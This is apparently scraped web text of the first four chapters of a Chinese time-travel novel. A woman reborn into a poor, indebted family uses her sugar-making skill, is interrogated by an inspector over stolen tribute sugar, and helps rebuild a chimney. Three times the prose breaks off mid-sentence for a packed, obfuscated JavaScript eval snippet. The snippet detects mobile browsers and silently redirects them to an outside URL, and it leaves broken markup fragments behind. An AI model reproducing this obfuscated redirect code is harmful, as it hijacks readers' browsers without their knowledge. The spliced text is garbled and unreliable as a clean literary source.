《对不起，我只想搞钱》 1. 穿越 “艾升荣，开门！”尖锐的声音在艾从雪耳边炸响。 听见自己爹的名字，艾从雪翻了个身，迷迷糊糊睁开眼。 土坯房、茅草屋，还有个木窗户在“吱呀”叫唤，看着就不太富裕。 穿越来那么多天还是第一次在大早上碰见这情况。 没错，艾从雪是穿越的。 但是从她阿爹阿娘的反应来看，好像又不是？ 毕竟谁家父母在见到自己孩子性格大变时依旧眼含热泪地抱着她，泣不成声地说着：“我儿回来了。” 反正她不会。 不过这里的父母与她上辈子父母长相一样，倒是奇怪得很。 既来之则安之，艾从雪想着看看情况，一时间没有什么动作，人也变得沉默。 好在这里的父母对艾从雪的态度没什么不满，反而更加小心翼翼，生怕她不快。 不知道是刚穿越不能适应还是床不好的原因，艾从雪这几日一直失眠，昨日里才堪堪能睡个好觉。 只是睡着后，艾从雪的意识不知飞往何处，落到一个神秘的地方。 眼前白茫茫一片，艾从雪悠悠道：“总不能让我继续穿越吧。” 话音刚落，一个人影出现在她面前。 “鬼啊！”艾从雪吓得一激灵，转身就想跑。 “我不是鬼。”人影的声音很稚嫩，像个小孩。 艾从雪见人影好像没有伤害她的意图，大着胆子询问道：“你不是鬼还能是什么？” “我是你。” “你是我？”艾从雪重复了一遍，脑子一时间没转过来。 “我们是一个人。”说完这句话，人影开始消散。 “诶，说清楚啊你！”见人影消失，艾从雪想要抓住，指尖穿透白雾的冰凉触感让她猛然抽回手。 “照顾好他们。”人影只留下了这句话。 艾从雪从梦中惊醒，许久才缓过神。 自己上辈子父母早死，好不容易靠制糖混出个名头后自己也早死。 早死的一家三口，命苦得很。 穿到这里大概是上天对她的补偿。 透过窗看着夜还长，几天没睡过好觉的艾从雪双眼一闭，又昏睡过去。 谁知在家睡觉还能被打扰。 被敲门声和吵闹声吵醒的艾从雪不熟练地套上衣服，蹑手蹑脚走到屋门旁开了个缝，想要看看外面发生了什么。 大门被敲得直打哆嗦，看着比那八十老太还要脆弱。 “再磨蹭，老娘掀了你这屋顶！” 中气十足的声音带着怒气，对旁边的人道：“上！” 本就不结实的门板轰然倒地。 这阵势，不出去是不行了，艾从雪握紧拳头给自己壮了壮胆，磨磨蹭蹭走出房门。 领头的刘婆子膀大腰圆、凶神恶煞的，艾从雪见到后眉头一跳，脸上带着讨好的笑。 “艾家的小傻子？”刘婆子满脸厌恶，不耐烦地瞥着她。 艾从雪努力回想这些天的记忆——父母时不时的忧愁、深夜对着一盏油灯叹气……莫非与这些人有关？ 她继续傻笑，祈祷这人快点走。 “艾升荣，你人呢？别躲着！”刘婆子继续扯着大嗓门喊道，身后的几个打手站成一排，那阵仗谁看了都害怕。 艾从雪一边笑着着一边默默后退，她可不想被误伤。 “奇了怪了，不在家？你爹娘竟然舍得让你一个傻子自己在家。”刘婆子啐了一口。 即使知道艾从雪是个傻子依旧对着她道：“明天你爹要是不回来，我就把你家抄了，让你们知道欠钱不还的代价！” 顺带着把艾家院子中的水缸给踢翻，接着气势汹汹地走出艾家大门，不，已经没有门了。 好哦，是欠债，我们有救了！ 艾从雪看着倒在地上的大门和水缸，刚要扶起那门。 “咯嘣”一声，那扇门生生从中间裂开，吓得她连忙松手。 艾氏夫妇这几日看艾从雪恢复了神智才想着一起去做工，平日里林晚都会在家照顾艾从雪，谁曾想竟遇上催债的。 二人得到消息后紧赶慢赶回到家中，就见到家里的大门惨烈地躺在地上。宝贝女儿此刻也倒在了地上，一时间惊惶失色。 林晚甩开男子的手直接扑在了艾从雪身上。 “雪儿！醒醒，雪儿！”林晚的声音带着哭腔。 “唔……”听见动静的艾从雪扶着头睁开眼。 半个时辰前。 艾从雪瞥见墙角堆着几捆发霉的稻草，灶台上半碗结块的粟米粥，家徒四壁的局面加上咄咄逼人的债主。 忽然感到头疼欲裂，艾从雪皱紧眉头，扶着脑袋，一段不属于她的记忆涌入脑海—— 一个道士贴出几张符咒，口中喃喃道：“十七年劫，魂归位。” 整个人随后直愣愣倒在了地上，直到林晚的声音把她叫醒。 艾从雪坐起身，思索着梦里的人影和方才的记忆，这场穿越怕是命中注定。 数日相处，虽艾从雪总感觉在这个地方见到自己“死而复生”的父母有点怪怪的。 但此时她见到二人慌张的模样，心底总归是有所触动，嘴唇嗫嚅着，唤了声“阿娘”。 声音极轻，林晚还以为自己听错了。 “雪儿？”林晚脸色不知道是哭是笑，“雪儿……你可知我等了多久……” 迈出第一步后艾从雪也不再别扭，再次出声道，“阿娘。” “诶！”林晚直接抱住艾从雪，泪止不住地流。“夫君，雪儿叫我了。” 林晚的怀抱温暖得让她有些窒息，她从未有过这种感觉，僵着身子闭了闭眼，强迫自己压下喉头的酸涩。 一旁的艾升荣愣住了，缓了好久，才噙着泪开口道：“雪儿，我是阿爹！” 他颤抖着伸手：“雪儿，让阿爹看看你……” 听见这话艾从雪回过神，张口喊道：“阿……爹。” “诶！对，是阿爹。”艾升荣偷偷抹了抹眼角，把坐在门板上的母女二人拉起来，“是不是那刘婆子弄得，怎的还倒地上了？” 林晚也反应过来，立马查看自家女儿有没有伤到哪里。 “没事，我好好的呢，就是不知道怎么晕过去了。”艾从雪摆摆手，虽说那婆子可恶，也不能冤枉了她。 “快进屋，和我们说说话，那么多年……”话都没说完，艾升荣眼泪已经落下，“你们先进屋，我把门板修修。” 先前艾从雪虽说是恢复神智，却不怎么和他们说话，沉默得紧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280361|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夫妻二人怕吓到艾从雪，强忍着自己的情绪，想着让女儿适应适应，如今艾从雪竟然开口唤阿爹阿娘，怎能不让他们惊喜。 屋里林晚拉着艾从雪的手，眼底满是失而复得的喜悦。 艾从雪安安静静地坐着，这会儿被看的浑身不适应。 “阿娘为何一直看着我？”艾从雪终于是忍不住，问出这句话。 “阿娘看女儿，怎么也看不厌。”林晚依旧温柔地看着艾从雪。 从前女儿痴傻，总是让人忍不住担心以后怎么办，恢复后也不怎么和他们说话，如今确是不用担心了。 听见这话，艾从雪眨巴了一下眼睛，把眼泪憋了回去。 自己小时候父母双亡，只留下了一张照片让她睹物思人，这会儿是第一次感受到母亲的关心。 她有些贪恋这片刻的温暖，后悔刚穿过来时没有立刻相认。 “阿爹也看不厌。”艾升荣收拾好门板后刚进屋就听见这句话，连忙接上一句。 “当年那个老道士当真是没骗我们。”艾升荣擦了擦手，进屋坐下。 “咱给他那么多银子不亏！”林晚笑着说道。 艾从雪感受到来自家人的爱，心中窃喜但又有些不适，听见艾升荣提到道士便转移话题道：“阿娘，阿爹，什么道士啊？” 艾升荣捋着自己的胡子，回忆道：“你小时候三四岁了都不会讲话，总是一个人呆坐着，你阿娘和我担心得不得了。 就带着你到处求医问药，直到你十岁时遇见个云游的老道士，说你失了一魂一魄。 我和你阿娘见到一丝希望，连忙询问道士可有治疗之法，那道士只是摇头，拿出家中半数钱财后，道士才说你到十七岁方能魂魄归体。 这么多年了，我们都以为是假的了，没想到你前些日子竟然恢复了……虽说……” 说着艾升荣眼眶一红，连忙用袖子擦了擦自己的眼睛。 毕竟这便宜爹与自己现代的爹长得一模一样，艾从雪挽着他的胳膊安慰道：“阿爹，我这不是之前没缓过来吗，现在我好了，我们一家人以后都好好的。” 一旁的林晚也附和道：“你个大男人，哭什么，咱家之后肯定会变得更好的。” 说及此处，林晚想起来还债的事，脸上笑容减淡，“雪儿，是不是被那刘婆子吓着了。” “雪儿你不用管，阿爹会把钱还上的。”虽是这样说，艾升荣却是满脸愁苦。 自家不知得罪了哪位大人，落得个破产的下场，把家中原本宅院抵了后还欠三十两，如今只能住在这老宅。 “夫人，雪儿，是我艾升荣对不住你们。 你们放心，我如今手头积攒了几两银子，或许能重拾艾家的老本行。” “夫君说的是？”林晚想到了自己未出嫁前艾家的生意。 “就是制糖。”艾升荣点点头，继续道：“从前家里放弃制糖是因原料太贵，现如今圣上圣明，运河通行后，南方的甘蔗几天就能运到京城。 家里后院还有些制糖的工具，咱家定能东山再起！” 旋即艾升荣又想到今日之事，有些不解，“这刘婆子，怎的今天来要债了，不是说好年末再还吗？” “制糖？”一直在一旁听着的艾从雪起了心思。 2. 制糖 艾从雪可是学了十几年手艺，制糖的方法也是了然于胸，老天眷顾让她死后还能换个世界继续活着，必须好好发挥自己的手艺。 毕竟这个世界的父母也活得好好的，她不想再变成那个父母双亡的艾从雪。 “雪儿想学？”艾升荣见女儿问制糖的事情，耐心询问道。 “阿爹，我想看看！” “走，去后院，说不准咱雪儿能成为女商人呢！” 华朝鼓励女子自立门户，行商的女子并不少见，反倒是成了一种流行。 因此艾升荣对于艾从雪的好奇，那是十分欣喜。 后院里石碾、陶罐、竹编漏斗，古法制糖的东西一应俱全。 只是还有一东西艾从雪没见过，长相奇特，“阿爹，这是？” 艾升荣眉毛一挑，得意道：“这就是咱家糖坊比别家产量高的秘诀，这轧蔗机可以一根甘蔗榨三次，比别家的石碾好多了。” 艾从雪摸了一下那轧蔗机，东西虽然老旧但没有灰尘，“阿爹，你这是已经试过一轮了？” 艾升荣越看自己女儿心中越是欢喜，夸赞道：“雪儿就是聪明，随了你阿娘。” 说着动身钻入后院地窖中，抱出一个陶罐。 “别家糖坊的产量一根甘蔗不过榨一斤汁，咱家可是能提取两斤！”艾升荣打开罐子，给艾从雪看自己这些天制的糖。 “阿爹，这糖怎么不是乌黑的？” 艾升荣对于女儿的问题那是有问必答，道：“现在制糖都往甘蔗汁里加石灰，这才干净点。” 果然是石灰，不过眼下盛行的传统方法得出来的糖量少且粗糙，靠这糖，怕是还不了债。 艾从雪思索着，得找个借口提出更好的制糖方法。 …… 翌日清晨 “砰砰砰”又是一阵敲门声传来。 熟睡中的艾从雪再次被吵醒，她竖起耳朵听着动静，却没再有任何声响。 “呼……自己吓自己，还以为又是讨债的呢。” “艾升荣！”浑厚的声音打破了她的幻想。 她认命的爬起来，出屋时就看见艾升荣在低声下气地同刘婆子商量。 “刘嫂子，现在我手头拿不出那么多钱，之前不是说好的来年开春再还吗？”艾升荣讨好道。 刘婆子脸上的肥肉剧烈抖动，叉腰啐了一口唾沫，“欠债还钱，天经地义！老娘替上头收钱，少一文钱都不行！今儿要不把银子拍在这儿。” 刘婆子身后的几个大汉往前一站，“老娘砸了你家灶王爷的香案！” 一旁的林晚擦了擦手，上前一步，细声道：“刘嫂子，可不可以延后几天，家里实在是拿不出那么多钱。” “延后，哼，你延后我可就挨罚。”刘婆子不客气地说道，口水都要喷林晚脸上。 随即厉声道：“给我把艾家砸了！” “站住！”一声清脆的声音传来。 听见这声音，刘婆子回过头，看见竟然是艾从雪，轻蔑一笑：“小傻子？我当是谁呢！” 艾从雪阔步走到刘婆子面前，那气势震得刘婆子气短，虚张声势道：“怎的，想把自己卖了还债？” “我们打个赌如何？”艾从雪话语间满是自信。 刘婆子和那几个大汉听见这话都有些错愕。 “你不傻了？”刘婆子问道，随后又安慰自己，“不傻了又能怎么样，痴傻十几年还能变成状元？我呸。 你个小丫头片子，耍什么滑头！赌局？你拿什么赌？” “刘妈妈且听我一言，若三月后我家还不上……”她压低声音，在刘婆子耳边低声道：“双倍赔您。” 刘婆子眼睛转了转，有些心动，这多出来的一倍她自己可是能昧下的，却担心有诈，没敢应下。 艾从雪见刘婆子动摇，继续增加砝码道：“如若能还上，在原先债款的基础上，加上二十两白银。” 二十两白银，那可比普通家庭一年的收入还多。 双倍赔偿和二十两白银，无论哪个都是稳赚不赔的买卖。 刘婆子倒是怕艾从雪反悔了，但仍是装作不甘不愿道：“哼，我就再给你三个月时间，看看你能整出什么幺蛾子来。” 之后使唤身边的伙计，“拿纸笔来签字画押。” 见艾从雪盖上手印，这才扭着胯大摇大摆地离开艾家。 “雪儿，你这……”艾升荣与林晚在一旁看着这一切，并不认同艾从雪的行为。 艾从雪出声解释：“没事的，阿爹，阿娘，相信我。赌局不过是权宜之计，拖出时间还清债款才是最重要的。” 随后又把手放在嘴边低声说：“昨天有神仙入梦，告诉了我高效制糖的方法，三月内，咱定能还清债款。” “当真？”艾升荣面露狐疑之色。而林晚则十分相信自己女儿，“菩萨显灵，菩萨显灵啊，咱家闺女就是神仙下凡！” “阿爹，你这就去买根甘蔗，我制给你看。”说完，艾从雪撸起袖子，就要去后院。 即使有些怀疑，但艾升荣还是选择相信了她，“好好好，阿爹这就去。” “阿娘，你跟我来。” 趁着艾升荣买甘蔗的空档，艾从雪带着林晚来到后院劈柴。 许久没干过劈柴的辛苦活，这会儿她刚劈几个胳膊就开始酸痛，林晚心疼地看着艾从雪，伸手要夺过女儿手中的斧头。 “不用，阿娘，我自己能行，你支个灶台烧火就成。”艾从雪笑了下，抬起胳膊擦了擦额头的汗。 艾升荣扛着甘蔗进门，艾从雪已备好工具。 榨汁、生火、熬煮…… 这熬煮是重中之重，提高品质的关键就在于火候。 待铜锅里的糖浆翻滚如金，热气模糊三人疲惫的脸。 “成了！”艾从雪盯着糖浆急呼一声。 林晚使唤艾升荣让他把模具拿来。 艾从雪则是迅速又平稳地把糖浆倒入模具。 这一次的量可是比艾升荣先前制糖时多了不少。 林晚听见艾升荣说起时满脸不可置信，惊呼道：“雪儿当真是上天派来的仙子。” 如此以来，艾家赤糖的产量质量都远超寻常赤糖，艾从雪便撺掇林晚，把留给自己出嫁的镯子先给典当了，等到赚了钱再赎回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280362|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 艾氏夫妇二人本不愿意，但是新制的赤糖比起寻常糖的黑红鲜艳不少，和那上贡的贡品更是不分上下。 再者家中实在没有钱维持生计，在艾从雪软磨硬泡之下，终究是答应了她的请求。 典当换了几两银子后有了本钱，三人在后院制糖更是一刻不敢停。 可累坏了本就腰不好的艾升荣。 又恐自家制糖秘密被传出去，雇人的想法便压了下来，想着赚了第一桶金后再去牙子那买人。 数日不眠不休，后院焦香弥漫，早就浸透衣裳。 艾氏夫妇在家继续制糖，艾从雪则带着新制的赤糖，朝城门方向走去，她紧了紧肩上的包袱，深吸一口气——成败在此一举。 糖糕的甜腻混着鱼腥扑面而来，挑担小贩的吆喝声与孩童嬉笑交织。 “姑娘买钗子吗？” “波斯的水果诶，瞧一瞧看一看！” “新做的饼子，五文钱一个！” 叫卖声不绝于耳，但艾从雪的目标并不在这。她捏紧市集上买来的糖糕，咬下一口——粗糙无味，远不及自家的糖做的吃食。 不过以艾家现在的情况，摆摊创业制甜点是行不通的，三个月的时间，怕是只有卖金子才能还清债款。 因此，只有一条路。 那就是做供应商！ 用自己学糖艺那么多年的手艺换一个机会。 艾从雪驻足在一栋飞檐斗拱的朱楼前，金漆匾额在日头下晃得人睁不开眼。 月来酒楼可是城中最大的酒楼，进出的都是朝中显贵，一个砖头下去说不定就能砸到数个大官。 但当她准备进去时，却出现了问题。 “你，站住！”门口的小厮叫住她。 “我？”艾从雪指了指自己，随即笑着道：“这位大哥，可是有什么问题？” 小厮刚想开口呵斥，见到艾从雪的样子后又放缓了声线，“没有凭证不能进酒楼。” 坏了，问路的时候没想到这一点，这下可怎么进去宣传自己产的糖。 艾从雪脑中极速思索应对方法，眨着眼睛祈求道，“大哥，小女子不是去吃喝的，我是有要事要办…… 您能不能通融通融一下，求求您了。” 那小厮不愧是大酒楼的人，面对艾从雪这个如花似玉的女子依旧义正言辞道：“没有凭证不能进酒楼。” 这酒楼要求那么多，那对于甜点的接受程度肯定会更高，艾从雪更加坚定了进这个酒楼的心。 她躲到胡同口，四下张望，盘算着如何混进酒楼。正焦灼时，忽见一玄衣男子带着一群人乌压压地迎面而来。 “这是干什么的，那么多人？”艾从雪一个人嘀嘀咕咕。瞥见酒楼侧门处，一伙计正抬着一筐货物匆匆而入。 她灵光一闪，解开发髻佯作送货女工，脆声喊道：“月来楼的货送到了！” 趁小厮愣神，艾从雪已闪身随人群挤入门内，酒楼内暖香扑面，丝竹声议论声不绝于耳，她顺势混入其中。 “还是我聪……”艾从雪插着腰正准备寻这里的掌柜，不料与一袭玄色衣袍撞个满怀。 3. 审问 焦糖的味道弥漫在二人之间。 男子脚步一顿，错身拉开距离，给旁边的人使了个眼色。 “扑通”一声闷响，艾从雪被人从背后按倒，她疼得倒吸一口冷气，自己这膝盖怕是要废了。 装着赤糖的包袱也被拿走，她刚要开口却听见那玄衣男子道：“带走审问。” 艾从雪眼看自己就要被带走，心中不安，面上却只是微微皱眉，冷静道： “这位大人，小女子无意冲撞大人，给大人赔不是了，还请大人高抬贵手。” 周遭的客人见美人蹙眉，亦是万分怜惜，却又碍于这黑衣男子在朝中的威望，不敢轻举妄动。 只见背后扣着艾从雪的人道：“别啰嗦。” 艾从雪一路踉踉跄跄的被人带到一处府邸。 外围是青黑的高墙，府内则是雕梁画栋，一步一景，她不禁感慨有钱人真可恶，自己不过不经意间撞到了人，竟落得这下场。 “你这赤糖从何而来？”黑衣男子，或者说玄序的声音冷漠疏离，眼睛盯着艾从雪等待她的回答。 那是双绿色的眼睛。 艾从雪看清对面容貌时一愣，暗骂自己没出息，接着不卑不亢道：“这赤糖是民女自家产的。” “放肆！”玄序眸光骤寒，指尖碾过赤糖碎屑，声如冷泉，“上月宫中贡糖失窃，你这糖成色与库中存品别无二致。” 他忽地逼近一步，指擦过她颈侧，指尖无意间触到一缕散落的发丝，动作顿了一瞬，随即用力捏起艾从雪的下巴，“你说自家所产，可有证人？” 艾从雪被迫仰首，喉间发紧，却强压下惧意。她睫羽轻颤，脑中飞速盘算——撞到人只是意外，查这赤糖来历才是真，若此刻露怯，必陷于危境。 思及此，她咬紧牙关，抬眸直视那双碧色冷瞳：“民女若有通天本事盗取贡品，何至于日夜制糖还债？” 急促的脚步声传来，玄序松开艾从雪的下巴，听着手下的汇报。 艾从雪低着头，眼中满是愤恨。 狗东西，不分青红皂白冤枉我，等着吧。 抬头时却又恢复了常日里柔和的模样。 “大人，此女是商户艾家之女艾从雪，自幼痴傻，艾家几个月前得罪那人破产，应当不是她。” 玄序听着这话冷笑一声，绿色眸子斜睨着一旁的女子，“自幼痴傻？” 艾从雪见这狗东西看向自己，立马盈盈一笑，眼底却没有半分笑意。 “本官看她聪明得紧。” “听闻前几日刚痊愈。”手下低着头继续汇报。 玄序挥手让他退下，转身继续打量着这个可疑的女子。 艾从雪不卑不亢道，“大人既然已经知道民女无罪，可否放民女离开。” “离开？”玄序冷冷地看着艾从雪，“你当场制出这赤糖的，自是可以离开。” 艾从雪心中冷笑。 笑话，当着他的面制作，怕不是今天做完明天怕不是各个糖坊都会这法子，自己还怎么还债。 “事关朝中要事，若如隐瞒，你免不了牢狱之灾。”玄序紧抿双唇，带着股难以撼动的凛然正气，说出的话却让艾从雪心里发凉。 自己这糖，竟因质量太好牵扯到朝中贡品失窃一事，太优秀也是种错误了。 “大人必知民女秘方乃活命之本，若传扬出去……”” 玄序长睫微颤，面对艾从雪的担忧，沉声道：“本官职责在查案，非窃取民技。若你清白，自不会损你分毫。” “你如何证明？”艾从雪步步紧逼，大而明亮的黑色眼眸盯着玄序。 虽说自己手中还有更好的制糖之法，但都太过繁琐，眼下家中情况并不允许她使用。 这个法子，是还债的唯一的希望。 “本官办事，不需要证明。” 玄序甩下这句话，气得艾从雪后槽牙都要咬碎了，面上的笑容再也维持不住，皮笑肉不笑道：“大人当真是清廉公正。” 听见对方讽刺自己，玄序并不在意，自从当上这监察官，不知多少人痛骂自己，这点子讽刺那是不痛不痒了。 艾从雪眼帘低垂，心中衡量着利弊。 自己一旦入狱，怕是十天半个月内是出不来的，只靠阿娘阿爹，怕是不仅还不了债，还徒让他们担心。 如今怕是只能相信这狗官虚无缥缈的公正廉明了。 她抬起头，面上一片冷淡，挑眉道：“我可以写出秘方自证，只是当场制作的话，怕是数日才能制出。或者……” 艾从雪话锋一转，“或者大人可亲自前往民女家中查看，如若民女有半句假话，甘愿接受严惩。” 头一次有人敢这样对自己说话，玄序眼眸微眯，淡漠回应：“带路。” 听见他的话，艾从雪松了一口气，起码制糖方子暂时保住了。 艾家虽离城中不远，但是位置略微偏僻，周遭数十米无人居住，这也是艾从雪放心在后院熬糖的原因。 如今，站在门口就能闻见这焦糖香气。 艾从雪心头一紧，看来搭个屋子专门熬糖的事要提上日程，不然一直露天熬糖，万一有人靠近，就能发现不对。 她推开大门，带着玄序走到后院，炙热的香气里裹着清凉的杏仁味，宛若冬日骄阳。 玄序看着艾从雪的背影，想起初见时嗅到甜味。 艾父艾母此刻还在忙碌，瞧见自家女儿的身影，林晚立马放下手头的活，拍了拍手上的灰尘，起身迎接艾从雪。 “雪儿回……”林晚声音一顿，这才看见艾从雪身后的黑衣男子，“这位是？” 艾升荣听见林晚的话扭过头，一打眼就看到了个瘟神，眼睛瞪大，连忙快步走到这边，“玄大人，什么风把您给吹来了。” 玄序惜字如金，开口道：“办事。” 玄大人？阿爹莫非认识这狗官？艾从雪怕爹娘担忧，打圆场道：“我从市集上正巧碰见了玄大人，他来视察一下咱家的情况。” 玄序倒也没戳破她的谎言，迈着步子走到林晚刚刚放进陶罐的赤糖旁边。 颜色质地皆是上乘，甚至与失窃的那批贡品相比有过之而无不及，只是……若早有这方子，艾家之前为何还要去干那布匹生意？ 这艾家痴傻多年的女儿，必然有问题。 艾从雪见玄序的动作，对于自家产的糖十分自信，在一旁环抱着胳膊，任由玄序查验，泰然自若道：“如何？我可没有半句假话。” “嗯。”玄序点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280363|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，算是认可了艾从雪的话。 艾从雪迫不及待地要把这狗官赶出家门，她嘴角带笑，温柔地说道： “玄大人日理万机，相比耽误那么久，还有更重要的事情处理，我送大人回去。” 说着就把玄序往门外赶，一旁的艾父见状面色惶恐，生怕自家女儿冲撞了这位大人。 玄序见这情景，神色不明，却是顺着艾从雪的话走出了艾家。 艾父艾母站在门口看着自家女儿走在玄序身旁，“夫君，这大人是谁？怎的你如此惶恐。” “这是圣上新封的监察官，咱家破产之事，就是上一位监察官批下的。” 林晚听见这话，惊得捂住嘴，低声道：“雪儿怎么和他碰见的！” “夫人放心，雪儿应当是无碍，这新监察官大人手段雷厉风行，虽不近情面，却是最看证据的。 咱家如今只是正常制糖，想来并无大碍。” 这边艾从雪带着玄序走远，看不见艾家后，才缓缓开口道：“还请大人遵守诺言，不要说出民女家中制糖的情况。” 玄序依旧是那副古井无波的表情，微微颔首道：“自然。” 艾从雪眉头一跳，看见他这样子就想起自己被审问时的情景，气不打一处来，脸上表情变了又变，挂起假笑道：“多谢大人明鉴，民女就送到这了。” 玄序没有回答，碧色眸中扫过艾从雪精彩纷呈的变脸，唇角微动，转身进了城。 艾从雪望着玄序的背影，暗骂他不是个东西。 日光撒在艾从雪身上，透出一道影子，只见那黑影随手捡起几块石头，用力扔了出去。 “扑通”“扑通”石头落进湖里。 艾从雪这才解气，回到家中准备明日再去城中推销自家的制糖。 林晚和艾升荣自玄序来家后，也没了炼糖的心思，就在门口等着女儿回家。 “诶，那是不是！”林晚眼尖，一下就看见远处的人影。 “是，是！”艾升荣这会也瞅见了。 二人嘴上说着不用担心，但心里还是害怕女儿出事，这会连忙迎上前去。 艾从雪挥了挥胳膊，高喊着：“阿娘，阿爹！” “哎哟，雪儿，没什么事吧！”林晚拉着艾从雪左看看右看看。 “没事，女儿好着呢！只是出了这事，赤糖怕是要明天才能卖出去了。”艾从雪想着制出来的那些糖还有三月的期限，有些担忧。 “你没事就好！”艾升荣说完这句后又问道：“雪儿你是怎么与玄大人认识的？怎的还来咱家了？” “就是，刚刚阿娘也没敢问你，快说说，究竟是怎么一回事？” 艾从雪避重就轻地说了事情缘由，然后道：“那狗……那玄大人说咱家的糖和朝中贡品相比更好呢，想来肯定是能卖出去的。 刚刚我进家的时候闻见糖香，快些建个专门熬糖的屋子，要不然被有心之人发现咱家制糖秘密可就不好了。” “对对对。”艾升荣点点头。 “对什么劲。”林晚拍了一下艾升荣的后背，“现在建的话怕是要数日才能建完，咱家等不起。” 这话倒是点醒了艾从雪，她把事情想得太简单了，只是若不尽快的话，怕是有风险。 4. 糖醋鱼 她看了看家的房子，后院、前厅、内室、灶屋、偏房。 灶屋！对了，之前怎么没想到灶屋的事情，只顾着方便在后院直接熬糖了。 “这灶屋是不是可行！” “灶屋虽能熬糖，但咱家的烟囱恐怕受不住。”艾升荣指了指自家的烟囱让艾从雪看。 “没事，趁着天还早，夫君你去买些砖窑的砖头，记得再弄些糯米糊，把它加固就行了。”林晚紧忙说道。 林晚出嫁前正是泥瓦匠之女，这会倒是祖传手艺派上用场了。 艾从雪点点头，要在天黑之前把这事办妥了，不然她心里不踏实。 林晚见艾升荣已经出去，说道：“灰浆要用的石灰咱家有，砂的话，雪儿你等会和我拿着桶去河边捞些。” 林晚扛着家中的木耙，艾从雪提着家中的竹筐，二人风风火火地赶去河道挖砂。 河风挟裹着芦苇的涩香直往鼻子里钻，令人心旷神怡，高高的芦苇随风而动。 芦苇丛忽地簌簌乱晃，艾从雪抬头时只见几杆断茎还在打着旋儿，倒像是被什么活物撞开的。 一只鸟雀从里面钻出来，大概是吃饱了，连眼睛都是半眯的餍足姿态。 “来，雪儿，跟着我。”林晚绑好衣服，赤着脚进入水中。 虽说如今已然秋天，但“秋老虎”可谓来势汹汹，因而艾从雪踏入水中的时候，并没觉得冷，只觉十分清爽。 河水轻柔地抚摸双脚，看着这清澈无污染的河水，她不禁感慨，还是古代好。 林晚猛地把木耙楔入河床底部，接着用力向后拉拽，木耙沉甸甸压着手腕，每拽起一耙都带出哗啦啦的水响。 “阿娘，我来帮你。”还在感受古代无污染环境的艾从雪回过神来，和林晚一起捞砂。 林晚嘱托道：“你去岸上把这些装到竹筐里。记得小心些装筐，莫让砂漏了。” 林晚抹了把汗，波光粼粼的水面映照着她充满力量的身姿。这捞砂的活计，让她想起儿时跟着爹做帮工的旧事。 “阿娘，这些砂是不是还要晾干啊？”艾从雪虽不了解具体流程，但是也是知道混石灰的砂要干燥。 只是这刚捞出来的砂湿漉漉的，怎么也不像可以制灰浆的样子。 林晚背着艾从雪不知道在河里捞什么，声音有些低沉，“家里不是有锅吗，日晒和火烧差不多，咱家用的量少，用火烘干就好了。” 艾从雪这才放下心来，麻溜地把那捞出来的一堆砂装进竹筐里。 正准备回家时却看见林晚一副要笑不笑的样子，“阿娘，你怎么怪怪的？” 林晚神神秘秘地从身后拿出一物来：“看看这是什么！” 艾从雪瞪大了眼睛，显得十分不可置信，突然拔高音调，“鱼！阿娘你什么时候抓的！” 林晚看着艾从雪的样子，心中万分得意。 “你阿娘小时候可是村子里抓鱼的一把好手。那么多年没抓过了，如今看来还是宝刀未老啊。” “阿娘好厉害！”艾从雪直直盯着林晚手中的鱼，夸赞道。 林晚摸了下艾从雪的头，“好了好了，你看你口水都快流出来了，走，回家干完活做鱼去。” 等到母女俩回到家，艾升荣已经用石磨磨好糯米糊等着她们俩了。 “可算是回来了，看我这个糯米糊弄得怎么样！”艾升荣扶着腰说道。 “夫君真是越来越熟练了。”林晚把刚捞的砂放下，又开口道：“夫君你把这湿砂炒干，我去灶屋弄鱼。” 艾从雪举了举手中的鲤鱼，脸上笑盈盈的，“阿爹看看阿娘刚刚抓的鱼。”旋即又对林晚说道：“阿娘正好咱家有糖，看我露一手。” “好好好，等会让我们尝尝雪儿的手艺。” “不过现在还是先弄烟囱吧，要不然等会儿做鱼的时候就不好弄了。”艾从雪看了看快要落山的太阳道。 “那我去把鱼杀了，夫君你和雪儿先在这弄着。” “阿娘快去吧，我和阿爹可以的。” 这边艾从雪就和艾升荣生火烧锅，那边林晚杀鱼去麟。 铁锅里的湿砂不断翻涌，艾升荣执铲的手臂肌肉虬结，砂粒碰撞声里，艾从雪不禁想到阿娘阿爹这些日子里为了还债的艰辛。 等到三人都干完后，就是林晚的主场了。 “照老方子，二灰八砂三钱米。”林晚看着地面上已经筛好的细砂说道，她突然冒出的匠人行话，倒是有些泥瓦匠的影子。 艾从雪按照林晚的吩咐，把粗砂铺在地面，接着一层一层的依次放入石灰浆、糯米浆、细砂。 